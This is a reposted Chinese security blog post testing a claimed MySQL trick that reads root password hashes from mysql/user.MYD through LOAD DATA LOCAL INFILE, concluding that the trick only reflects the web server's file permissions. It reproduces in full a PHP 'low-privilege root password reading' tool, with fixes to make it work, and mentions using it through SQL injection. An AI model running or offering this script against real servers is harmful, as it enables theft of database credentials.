最新消息:

关于MySQL无file权限读root hash的进一步说明

MySQL数据库 admin 2056浏览 0评论

转自:http://www.okadwin.com/?post=134

如题。
比如乌云社区发帖的这位大牛http://zone.wooyun.org/content/12432

cdc679bebbe282e170ab6fe0dca8445e20140601144644

看那帖子标题就很喜感有木有,大概意思就是创建了一个没有file权限的账户test,然后不能load file 啥的,但是可以用load data local 这样来读文件的内容到某个表里,然后再select读出来balabala…..
一开始以为只有这位大牛这么说,但是后来先后几次看到很多大牛如同得到了MySQL的0day一样,满心欢喜的在各种地方分享(哦对了,对于这种分享精神 提出口头表扬一次),甚至还有人写出了利用脚本,虽然就那么几个SQL语句,但是脚本写的还挺像那么回事,于是我就下载下来了。一会我们就拿这个脚本进行 测试吧。
其实我真的不懂MySQL,我也真的不知道一般默认情况下你从一个文件load data的话只能是localhost才行,而且我真的不知道其实你load data local的时候其实是和WEB的权限是一样的!!!别问我是怎么知道的,用脚后跟想一想就知道这么2B的“越权”不可能出现在如此成熟的MySQL身 上,so,找了找资料,请注意如下这段话:

[我是引用] 在WEB环境中,客户从WEB服务器连接,用户可以使用LOAD DATA LOCAL语句来读取WEB服务器进程有读访问权限的任何文件(假定用户可以运行SQL服务器的任何命令)。在这种环境中,MySQL服务器的客户实际上 是WEB服务器,而不是连接WEB服务器的用户运行的程序。[/我是引用结束]

至于出处我觉得。。。百度一下吧,我就不贴出来地址了。
OK,空口无凭,我们还是还实际测试一下吧,实践出真知嘛。为了便捷,我搭建了一个win2003的虚拟机,然后安装了wampserver,为了避免产生类似“到底是否和MySQL账户权限有关”这样的争议,测试中MySQL全程都是用的root账户。

author:adwin
blog:http://www.okadwin.com
from:Silic   http://silic.org
大家都知道,一般来说wampServer的Apache默认是以system的身份启动的,so,上了一个习科的大马来证实了一下。

156005c5baf40ff51a327f1c34f2975b20140601144645

现在我们的PHP(Apache)运行在无所不能的system权限下,当然也可以直接通过PHP的webshell来直接读取保存MySQL账户hash的文件

799bad5a3b514f096e69bbc4a7896cd920140601144645

好吧,都说了我们是无所不能的system了。
那么我们现在来测试一个所谓的MySQL“越权”load data local。我在网上找到了一个大神写好的脚本(方便多了,真是为人民造福啊),用这个脚本测试了一下,一样可以读到内容。(我会在后边给出这个脚本的源码)

f3ccdd27d2000e3f9255a7e3e2c4880020140601144645

现在我们新建一个test用户来做测试

d0096ec6c83575373e3a21d129ff8fef20140601144645

在我的电脑右键,管理,服务和应用程序,服务,找到wampapache,也就是Apache的服务,右键-属性-登陆,我们看到,当前的登陆身份是“本地系统账户”

032b2cc936860b03048302d991c3498f20140601144645

显然这个时候是system权限,那么我们让Apache以刚才建立的test用户的身份运行

18e2999891374a475d0687ca9f989d8320140601144646

我们必须要重启Apache的服务才行,不过好像是似乎出了点问题

fe5df232cafa4c4e0f1a0294418e566020140601144646

好吧,看一下日志,这是什么情况。。。

8cda81fc7ad906927144235dda5fdf1520140601144646

我了个擦,原来是换成test用户之后权限不够了。。。好吧,给test用户赋予相应的权限,Apache成功启动,这个时候我们在看看whoami,确定一下当前确实是test的身份

30e62fddc14c05988b44e7c02788e18720140601144646

这个时候我们把MySQL的data目录设置上权限,拒绝test这个用户读写

ae566253288191ce5d879e51dae1d8c320140601144646

显然这个时候PHP的webshell就读不了data目录了(把权限拒绝应用到了data目录及所有子文件(夹))

62bf1edb36141f114521ec4bb417557920140601144647

这个时候我们再用那个load data local的脚本来读一下试试(我保证读不到,如果能读到我直播吃翔)
好吧,事实证明我不用直播吃翔了。

9414a8f5b810972c3c9a0e2860c0753220140601144647

 

总结一下:第一,所谓的“越权”根本不存在,load data只不过是从文件读取数据而已,和into outfile是互为反操作,这样就容易理解多了。而且理论上这种load data的方式只能是数据库在localhost的时候才可以。
第二,你load data的权限和WEB脚本的运行权限是一样的——这就意味着,假如你可以通过load data得到文件的内容,那通过webshell也一定可以直接读的到,为啥还非得要脱裤子放屁?
第三,其实也不是完全没有用处,我突然想到一种情景,比如在注入点上可以直接select @@datadir,读到路径之后load data,然后再select,这也不失为一种思路(显然我只是刚刚想到可能会有这种情况,还从来没有实践过)。

 

最后,把某位大神写的利用脚本的源码贴上来,也算是让大伙看看load data的语句。
另外也指出这个脚本的几点不足,如果有幸作者能够看到的话,希望对有你略有帮助。
第一:第8行,原本代码:if(!link){,兄弟你少写了个$,请改成if(!$link){。
第二:第16行,原本代码:$db_path_sql=”select @@basedir”;,我建议你这里使用@@datadir,而不是@@basedir,要知道,虽然多数(默认)情况下@@datadir确实等于 @@basedir . “/data”,但其实@@datadir是可以自定义的,有的时候可能@@datadir和@@basedir真的一点关系也没有。
第三:第26行,原本代码:”.$db_path.”data/mysql/user.MYD,其实这里看起来好像没什么问题,不过好像这里 的$db_path值最后应该没有一个斜线“/”,所以你这样拼接起来的路径应该是不对的,拼接起来可能是类似“c:\mysqldata/mysql /user.MYD”这样的,因为$db_path的值的最后没有斜线,后边拼接的字符串data/mysql/user.MYD,最前边也没有斜线,所 以导致了这个问题(至少在我做测试的时候是这样的),so,改为:”.$db_path.”/data/mysql/user.MYD即可解决这个问题。
第四:让用户输入host就没这个必要了吧,这时候host只能是localhost,如果是远程主机的话肯定是读不了的。
最后代码附上(各位看官别忘了修改第26行的代码)

<?php
if(isset($_POST['sub'])){
$name=$_POST['name'];
$pass=$_POST['password'];
$host=$_POST['host'];
$db=$_POST['db'];
$link = mysql_connect($host,$name,$pass);
if(!link){
die("could not connect".mysql_error());
} if(!mysql_select_db($db,$link)){
 die("db".mysql_error());
} $db_path_sql="select @@basedir";
if($n=mysql_query($db_path_sql)){
 $db_path_rs=mysql_fetch_array($n);
  $db_path=str_replace("\\","/",$db_path_rs[0]);
}  
$dropmoon='DROP table moon';
$sql="CREATE TABLE moon (`code` TEXT NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;";
$exp="LOAD DATA LOCAL INFILE '".$db_path."data/mysql/user.MYD' INTO TABLE moon fields terminated by '' LINES TERMINATED BY '\0';";
$select="SELECT code FROM moon";
$pass="";
mysql_query($dropmoon);
if(mysql_query($sql)){
 if($row=mysql_query($exp)){
  if($row=mysql_query($select)){
   while($rows=mysql_fetch_array($row))
    {
    echo $pass.=$rows['code'];
    }
    
  
 }
  
 }
 

}
 

}
else{
 echo "<head>";
 echo '<meta http-equiv="content-type" content="text/html;charset=utf-8">';
 echo "<title>MYSQL低权限读取ROOT密码工具(暗月内部原创工具)</title>";
 echo "</head>";
 echo '<form action="" method="post">';
 echo "<h3>MYSQL低权限读取ROOT密码工具(暗月内部原创工具)</h3>";
 echo 'host:<input type="text" name="host"><br>';
 echo 'name:<input type="text" name="name"><br>';
 echo 'pass:<input type="text" name="password"><br>';
 echo 'db&nbsp&nbsp:<input type="text" name="db">';
 echo '<input type="submit" value="提交" name="sub">';
 echo "</form>";
 echo "<hr>";
 echo '<p>论坛:<a href="http://www.moonsafe.com">暗月信息安全论坛</a>| 作者博客:<a href="http://www.moonsec.com">暗月博客</a></p>';
 echo "</html>";
}

 

————————————————————————————————

ps:其实load data local infile能否读取文件看的是执行这个命令时的进程的权限,作者使用test用户时没权限读,是因为apache运行在test用户下,则apche的进程没有权限读取文件。最终得到的结果是在拿shell时,load data 的权限和web运行的权限是一样的,即和webshell权限是一样的,这也是为什么有点鸡肋的原因。不过load data方法可以用在没有拿到webshell,但后台可操纵数据库的情况下。

关于load data local infile读文件可以看:http://www.jinglingshu.org/?p=6636

 

 

 

转载请注明:jinglingshu的博客 » 关于MySQL无file权限读root hash的进一步说明


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址